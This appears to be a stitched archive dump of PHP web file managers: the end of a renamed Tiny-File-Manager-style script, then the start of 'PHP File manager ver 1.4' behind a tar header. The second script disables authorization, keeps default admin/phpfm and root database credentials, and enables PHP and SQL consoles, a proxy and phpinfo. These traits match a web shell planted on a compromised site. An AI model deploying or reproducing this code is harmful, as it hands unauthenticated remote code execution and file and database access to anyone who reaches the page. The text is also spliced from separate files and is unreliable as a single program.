            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'sympathizing';      $tr['en']['AppTitle']           = 'sympathizing';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>bbh.php000064400000233065147510612050006022 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration    do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
// end configuration
/*2e3300cd40ea092e5eeb579abe01e85a*/
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size    maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
